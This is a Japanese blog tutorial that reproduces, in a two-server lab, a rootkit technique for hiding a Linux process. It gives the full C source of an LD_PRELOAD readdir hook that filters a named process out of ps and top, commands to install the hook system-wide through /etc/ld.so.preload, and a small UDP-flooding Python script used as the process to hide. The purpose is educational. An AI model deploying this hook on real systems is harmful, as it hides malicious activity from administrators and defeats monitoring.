本記事の内容
以下の英語サイトで紹介されていた内容を実際に試してみました。そのままではうまくいかなかった部分があったので若干カスタマイズしています。
やりたいこと
Linux の Root Kit として『プロセスを隠蔽する』挙動を見せることがあります。今回はこの挙動を実現してみて、その仕組みの理解を深堀します。
構成は以下の通りです。
evil_script.py という、指定した IP 宛に UDP パケットをひたすら投げ続ける python スクリプトを、普通に起動した場合と、プロセスを隠蔽して起動した場合の挙動を比較します。
プロセス隠蔽の仕組み
Windows がオブジェクトベースの OS であるのに対し、Linux はファイルシステムベースの OS です。ファイルやディレクトリだけでなく、ブロックデバイスファイル (ディスク等) やキャラクタデバイスファイル (キーボードディスプレイマウス等)、ソケットファイルなど、様々なものがファイルという形式で抽象化されています。
プロセスも /proc/ というディレクトリの配下でファイルシステム上で管理されています。
ps コマンドや top コマンド等はこの /proc/ 配下のプロセス情報を引っ張ってきて表示しています。
プロセス隠蔽の方法はいくつかありますが、今回は PRELOAD という仕組みを使って実現します。PRELOAD で指定された共有ライブラリの関数は優先されて使われます。これはつまり、普段使う関数を、PRELOAD で指定することで上書きできる、ということです。
今回は readdir というディレクトリを読み込む Linux 組み込みの関数を、PRELOAD により自作の関数に差し替え、/proc/ 配下のディレクトリから情報取得をできないようにします。
SV1 側の設定
まずは必要パッケージ gcc と python3 をインストールします。
[root@SV1 ~]# dnf install -y gcc python3
次に、evil_script.py を以下のように新規作成します。
[root@SV1 ~]# vi evil_script.py
#!/usr/bin/python3
import socket
import sys
def send_traffic(ip, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect((ip, port))
while True:
sock.send(b'I AM A BAD BOY')
if len(sys.argv) != 3:
print("Usage: ",sys.argv[0]," IP PORT")
sys.exit()
send_traffic(sys.argv[1], int(sys.argv[2]))
実行権限を与えます。
[root@SV1 ~]# chmod +x evil_script.py
SV2 側の設定
パケットを確認するために tcpdump をインストールします。(やらなくてもよい。動作確認のため。)
[root@SV2 ~]# dnf install -y tcpdump
また、送り付けられたパケットに ICMP で反応してしまうとプログラムがエラーにより途中で止まってしまうため、firewalld で drop するようにします。
[root@SV2 ~]# firewall-cmd --permanent --set-target=DROP [root@SV2 ~]# firewall-cmd --reload
普通に evil_script.py を実行
SV2 側で tcpdump を実行します。
[root@SV2 ~]# tcpdump -i any host 192.168.1.211 -nn -vvv
SV1 側で evil_script.py をバックグラウンド実行します。
[root@SV1 ~]# ./evil_script.py 192.168.1.212 666 &
続いて以下コマンドで状態を見てみます。evil_script.py の存在が確認できます。
[root@SV1 ~]# ps aux | grep evil root 24527 43.1 0.2 251136 10604 pts/0 R+ 13:07 0:02 /usr/bin/python3 ./evil_script.py 192.168.1.212 666 root 24529 0.0 0.0 221928 1088 pts/1 R+ 13:07 0:00 grep --color=auto evil [root@SV1 ~]# top ~~~ PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 24527 root 20 0 251136 10604 6528 R 37.5 0.3 0:03.59 evil_script.py 1 root 20 0 174876 14592 8308 S 0.0 0.4 0:01.08 systemd ~~~ [root@SV1 ~]# ss -nup Recv-Q Send-Q Local Address:Port Peer Address:Port Process 0 3072 192.168.1.211:34464 192.168.1.212:666 users:(("evil_script.py",pid=24532,fd=3))
バックグラウンドで実行した evil_script.py をフォアグラウンドにして、Ctrl+C でスクリプトを止めます。(kill -9 [PID] でも OK)
[root@SV1 ~]# fg
[root@SV1 ~]# (Ctrl + C)
PRELOAD で readdir を置き換え evil_script.py を実行
まずはプロセスを隠蔽するための readdir を差し替えるためのライブラリファイルを C 言語で作成します。
[root@SV1 ~]# vi processhider.c #define _GNU_SOURCE #include <stdio.h> #include <dlfcn.h> #include <dirent.h> #include <string.h> #include <unistd.h> /* * Every process with this name will be excluded */ static const char* process_to_filter = "evil_script.py"; /* * Get a directory name given a DIR* handle */ static int get_dir_name(DIR* dirp, char* buf, size_t size) { int fd = dirfd(dirp); if(fd == -1) { return 0; } char tmp[64]; snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd); ssize_t ret = readlink(tmp, buf, size); if(ret == -1) { return 0; } buf[ret] = 0; return 1; } /* * Get a process name given its pid */ static int get_process_name(char* pid, char* buf) { if(strspn(pid, "0123456789") != strlen(pid)) { return 0; } char tmp[256]; snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid); FILE* f = fopen(tmp, "r"); if(f == NULL) { return 0; } if(fgets(tmp, sizeof(tmp), f) == NULL) { fclose(f); return 0; } fclose(f); int unused; sscanf(tmp, "%d (%[^)]s", &unused, buf); return 1; } #define DECLARE_READDIR(dirent, readdir) \ static struct dirent* (*original_##readdir)(DIR*) = NULL; \ \ struct dirent* readdir(DIR *dirp) \ { \ if(original_##readdir == NULL) { \ original_##readdir = dlsym(RTLD_NEXT, #readdir); \ if(original_##readdir == NULL) \ { \ fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \ } \ } \ \ struct dirent* dir; \ \ while(1) \ { \ dir = original_##readdir(dirp); \ if(dir) { \ char dir_name[256]; \ char process_name[256]; \ if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \ strcmp(dir_name, "/proc") == 0 && \ get_process_name(dir->d_name, process_name) && \ strcmp(process_name, process_to_filter) == 0) { \ continue; \ } \ } \ break; \ } \ return dir; \ } DECLARE_READDIR(dirent64, readdir64); DECLARE_READDIR(dirent, readdir);
コンパイルし、/etc/ld.so.preload にパスを登録します。
[root@SV1 ~]# gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl [root@SV1 ~]# mv libprocesshider.so /usr/local/lib/ [root@SV1 ~]# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
これで準備完了です。上記でうまくいかない場合は、/etc/profile の最後に以下を追記してもよいです。
export LD_PRELOAD=/usr/local/lib/libprocesshider.so
同様に SV1 側で evil_script.py を実行すると、各種コマンドで evil_script.py のプロセスが表示されなくなります。
[root@SV1 ~]# ./evil_script.py 192.168.1.212 666 & [root@SV1 ~]# ps aux | grep evil root 24511 0.0 0.0 226048 1172 pts/1 R+ 13:05 0:00 grep --color=auto evil [root@SV1 ~]# top ~~~ PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1 root 20 0 174876 14592 8308 S 0.0 0.4 0:01.08 systemd 2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd ~~~ [root@SV1 ~]# ss -nup Recv-Q Send-Q Local Address:Port Peer Address:Port Process 0 1536 192.168.1.211:36271 192.168.1.212:666
最後、ss コマンドでエントリ自体が隠せればベストなのですが、Process のカラムだけが表示されなくなり、逆に怪しい状態になりました。
FontOnLake というマルウェアだと、今回の LD_PRELOAD の仕組みを利用してプロセスを非表示にしつつ、さらに ss コマンド自体を差し替えてマルウェアの通信も非表示にするそうです。
コメント